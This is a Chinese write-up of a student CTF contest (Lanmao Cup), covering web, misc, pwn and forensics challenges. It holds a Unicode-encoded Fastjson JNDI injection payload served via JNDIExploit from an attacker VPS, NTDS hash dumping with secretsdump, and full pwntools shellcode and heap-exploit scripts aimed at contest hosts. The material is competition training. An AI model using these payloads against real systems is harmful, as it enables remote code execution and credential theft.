第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

admin 2022年7月11日22:21:45CTF专场评论18 views6427字阅读21分25秒阅读模式

点击蓝字 ·  关注我们

01

Web

1

Ez_gadget

源码看到了fastjson 但是有个hash要绕过去

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

参考
https://goodapple.top/archives/964

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

然后我们去运算下得到kQNH2XQ6eudIQEFB

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

代码上面有正则String pattern = ".rmi.|.jndi.|.ldap.|.\x.";
https://github.com/safe6Sec/Fastjson

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

我们将payload进行unicode编码然后

str=kQNH2XQ6eudIQEFB&input={"u0040u0074u0079u0070u0065":"u006fu0072u0067u002eu0061u0070u0061u0063u0068u0065u002eu0078u0062u0065u0061u006eu002eu0070u0072u006fu0070u0065u0072u0074u0079u0065u0064u0069u0074u006fu0072u002eu004au006eu0064u0069u0043u006fu006eu0076u0065u0072u0074u0065u0072","qqq":"payload"}

java -jar  JNDIExploit.jar -i vpsip

payload编码后发过去

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

用date命令读取flag就行了
flag{ed41ca96-de27-4da7-8513-f3343c67c9bc}

02

Misc

1

domainhacker

流量中发现一个rar包和多个base加密代码

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

解开压缩包即可

2

domainhacker2

解压发现一个流量包和一个ntds.rar文件,rar带密码。跟misc1思路一样,查找ntds文件,发现压缩过程。

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

解密

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

得到密码:FakePassword123$,解压得到一个ntds.list,查看相关资料发现需要用到secretsdump.py,网上下载,然后解密得到hash值,说是history的,加个参数就好,命令。
python .secretsdump.py -system SYSTEM -ntds .ntds.dit LOCAL -history

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

flag{07ab403ab740c1540c378b0f5aaa4087}

03

Pwn

1

EscapeShellcode

利用write后rcx保存的地址可以快速定位shellcode保存地址,并且获得大概的flag保存范围,因为shllcode保存地址和flag保存地址就差28位,利用and获得其高位保存在rsi 作为基地址,后28位需要爆破,r15存储偏移,每次打印0x1000个字符,打印后跳转到$-0x19也就是mov rax,1处,然后继续从基地址+0x1000开始打印0x1000个字符,如此循环即可。
from pwn import*context(arch='amd64',os='linux')sh=process('./escape_shellcode')#sh=remote("39.106.156.74",23470)#start=0start=0x500000000000#addr=0x5633c143f000code='''    mov rdi,1    mov rsi,{}    mov r12,0xfffff0000000    mov r15,0x1000#r15储存偏移    mov rdx,0x1000#打印长度设置为0x1000    mov rax,1    syscall#write(rdi,rsi,rdx)    mov rsi,rcx#write执行后rcx 储存着shllcode的相关地址    and rsi,r12#丢弃后28位    add rsi,r15#rsi=rsi+偏移地址    add r15,0x1000#偏移递增0x1000    jmp $-0x19#循环 跳转到mov rax,1 '''.format(start)payload=asm(code)#gdb.attach(sh)#pause()sh.sendline(payload)sh.recvuntil("flag{")flag=b'flag{'+sh.recvuntil("}")print(flag)

2

Bank

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

Deposit功能, 如果存的正好等于cahs, 那么cash不会减少, 就可以刷钱

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

Trasnfer功能

  • admin至少给0x1F, 可以越界读堆: malloc_0x18[num]

  • hacker至少给0x33, 可以任意地址free

  • guest: malloc(0x10) 并读入0x10数据

  • ghost: realloc(ptr, sz), 0<sz<=0x100

  • abyss: *malloc_0x18=Read_ul() 并且exit(0)

思路:

  • free原语: realloc()先变大再变小, 就可以释放原来挺ptr指向的chunk

  • 由于不知道libc地址, 先假设就是2.27, free chunk后进入tcache, 读出key字段就可获取tcache的地址, 打远程发现确实如此. 从而获取堆地址heap_addr

  • 有了后续通过任意地址free尝试释放malloc_0x18的chunk, 结果发现heap_addr+0x2a0才能正确释放到, 因此libc至少是2.31

  • 后续要通过堆喷射伪造一个UB chunk, 然后利用任意地址free释放到UB中, 然后再越界读出来, 从而获取libc地址

  • abyss有个任意写+exit(0), 显然就是劫持劫持rtld_global中的函数指针, 触发OGG

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

但是rtld_gloabl位于ld中, ld与libc的偏移与系统内核有关系, 我在20.04下尝试了结果失败了, 不过反正有越界读, 可以尝试越界读爆破一下libc_addr到rtld_global+3848的偏移, 不行
既然后任意读和libc的地址, 能不能通过libc获取ld的地址? 反正_rtld_global与ld的偏移固定, 手法类似于balsn_ctf_2019_SecPwn:
libc与ld的偏移不稳定, 使用固定偏移可能会出错. 实际上libc中也有直接的rtld_global, 里面第一个映射记录的就是ld地址, 因此接触rtld_global可以由libc地址得到ld地址。

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

但是打远程还是失败了, 怀疑是OGG的问题, 首先尝试执行libc.so.6的start(), 判断OGG是否能被执行, 还是不行, 后续我用perror做测试, 发现stderr是可以正常输出的, GG也是可以执行的。

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

后面一直跑一段时间

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

#! /usr/bin/python2# coding=utf-8import sysfrom pwn import *import base64
context.log_level = 'debug'context(arch='amd64', os='linux')
def Log(name): log.success(name+' = '+hex(eval(name)))
libc = ELF("./libc.so.6")

if(len(sys.argv)==1): #local cmd = ["./pwn"] sh = process(cmd)else: #remtoe sh = remote("47.94.194.27", 45092)
def Cmd(s): sh.sendlineafter("Click: ", s)
def Deposit(num): Cmd("Deposit") sh.sendlineafter("How Much? ", str(num))
def Put(num): Cmd("Put") sh.sendlineafter("How Much? ", str(num))
def Info(): Cmd("Info")
def Login(card, pwd): Cmd("Login") sh.sendlineafter(": ", card) sh.sendlineafter(": ", pwd)
def Transfer(who, num): Cmd("Transfer") sh.sendlineafter("who? ", who) sh.sendlineafter("How much? ", str(num))
# malloc_0x18[num]def ReadHeap(num): Transfer("admin", num)
def FreeAddr(addr): Transfer("hacker", 0x33) sh.recvuntil("hacker: Great!n") sh.sendline(str(addr))
def Malloc_0x10(data): Transfer("guest", 6) sh.recvuntil("data: ") sh.send(data)
def Realloc(sz): Transfer("ghost", 0xB) sh.recvuntil('ghost: &^%$#@! :)n') sh.sendline(str(sz))
# malloc_0x18 = addrdef SetPtr(addr): Transfer("abyss", 0) sh.sendline(str(addr))

def GDB(): gdb.attach(sh, ''' telescope (0x0000555555554000+0x203010) 1 telescope (0x0000555555554000+0x203050) 1 telescope (0x0000555555554000+0x2030A8) 1 break *(0x7ffff7e1ea25 ) #conti ''')
Login("1"*0x10, "2"*0x6)
# be richcash = 0x190for i in range(0x28): Put(cash) Deposit(cash) Put(cash) cash*=2
for i in range(8): Malloc_0x10(str(i)*0x10)Realloc(0x100)Realloc(0x1)ReadHeap(0x148/8)sh.recvuntil("I think ")heap_addr = int(sh.recvuntil(" is", drop=True), 16)-0x10Log("heap_addr")Malloc_0x10(flat(0, 0x421))for i in range(32): Malloc_0x10(p64(i)*2)Malloc_0x10(flat(0, 0x21))Malloc_0x10(flat(0, 0x21))Malloc_0x10(flat(0, 0x21))FreeAddr(heap_addr+0x4d0+0x10)ReadHeap(0x240/0x8) # be0sh.recvuntil("I think ")libc.address = int(sh.recvuntil(" is", drop=True), 16)-0x1ebbe0Log("libc.address")ReadHeap(((libc.symbols['_rtld_global']-(heap_addr+0x2a0))/8))sh.recvuntil("I think ")ld_addr = int(sh.recvuntil(" is", drop=True), 16)Log("ld_addr")rtld_global_hook = ld_addr+0xf08Log("rtld_global_hook")FreeAddr(heap_addr+0x2a0)Malloc_0x10(p64(rtld_global_hook)*2)SetPtr(libc.address+0xe6c7e)sh.interactive()

04

网站取证

1

网站取证_1

通过D盾扫描找到后门

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

2

网站取证_2

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

找到加密文件,然后发现是aes算法直接解密得数据库密码

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

3

网站取证_3

比较数据给的数据库和查看代码得到

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

4

网站取证_4

将数据库导入到本地数据库,然后将2022-04-02 00:00:00-2022-04-18 23:59:59的张宝和王子豪的记录取出来,还有汇率取出来放着。

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

汇率
0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

核心代码在这儿,
用汇率把钱数计算出来就行
import base64import hashlibsum = 0p = [0.04,0.06,0.05,0.07,0.10,0.15,0.17,0.23,0.22,0.25,0.29,0.20,0.28,0.33,0.35,0.35,0.37]with open('./data.txt','r') as f:    d = f.readlines()    for i in range(len(d)):        key = hashlib.md5(b'jyzg123456').hexdigest()        x = 0        char = ''        s = ''        if d[i].strip().split()[6] == '5,' and d[i].strip().split()[7] == '3,':                 data = base64.b64decode(d[i].strip().split()[-1])            date = int(d[i].strip().split()[4][9:11]) - 2            for i in range(len(data)):                if x == len(key):                    x = 0                char += key[x:x + 1]                x += 1            for i in range(len(data)):                if ord(data[i:i + 1]) < ord(char[i:i + 1]):                    s += chr(ord(data[i:i + 1]) + 256 - ord(char[i:i + 1]))                else:                    s += chr(ord(data[i:i + 1]) - ord(char[i:i + 1]))            sum += float(s) * p[date]        else:            continue    print(sum)
第六届蓝帽杯全国大学生网络安全技能大赛WriteUp
脚本最后算出来的是总金额取小数后2位就行。

05

程序分析

1

程序分析_1

雷电App智能分析软件中的基本信息里,就有应用包名。

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp


2

程序分析_2

雷电App智能分析软件中有个主活动以及主函数名,就是程序入口。

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

3

程序分析_3

雷电App智能分析中有个工具箱,用Jadx工具打开分析,在主入口中找到了一串base64的加密字符串,就是程序服务器地址的密文。

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

4

程序分析_4

入口处发现

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

这个模块
然后往下调发现

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

此处用了a这个类,然后试着提交答案就对了。

06

手机取证

1

手机取证_1

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

2

手机取证_2

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

07

计算机取证

1

计算机取证_2

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

解密为:anxinqi

2

计算机取证_2

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

3

计算机取证_3

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

提取恢复密钥
用取证大师解开

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

用给的字典去解密

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

打开即可

4

计算机取证_4

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

通过上题发现一个容器,
通过题目提示从内存导出密钥

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

解开容器发现一个压缩包

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

然后爆破压缩包密码即可

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

Tip

你是否想要加入一个安全团
拥有更好的学习氛围?
那就加入EDI安全,这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心
EDI安全的CTF战队经常参与各大CTF比赛,了解CTF赛事,我们在为打造安全圈好的技术氛围而努力,这里绝对是你学习技术的好地方。这里门槛不是很高,但师傅们经验丰富,可以带着你一起从基础开始,只要你有持之以恒努力的决心,下一个CTF大牛就是你。
欢迎各位大佬小白入驻,大家一起打CTF,一起进步。    
我们在挖掘,不让你埋没!
你的加入可以给我们带来新的活力,我们同样也可以赠你无限的发展空间。
有意向的师傅请联系邮箱[email protected]、shiyi@edisec.net(带上自己的简历,简历内容包括自己的学习方向,学习经历等)

EDI安全

第六届蓝帽杯全国大学生网络安全技能大赛WriteUp

扫二维码|关注我们

一个专注渗透实战经验分享的公众号


原文始发于微信公众号(EDI安全):第六届”蓝帽杯“全国大学生网络安全技能大赛WriteUp

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月11日22:21:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  第六届蓝帽杯全国大学生网络安全技能大赛WriteUp http://cn-sec.com/archives/1169274.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: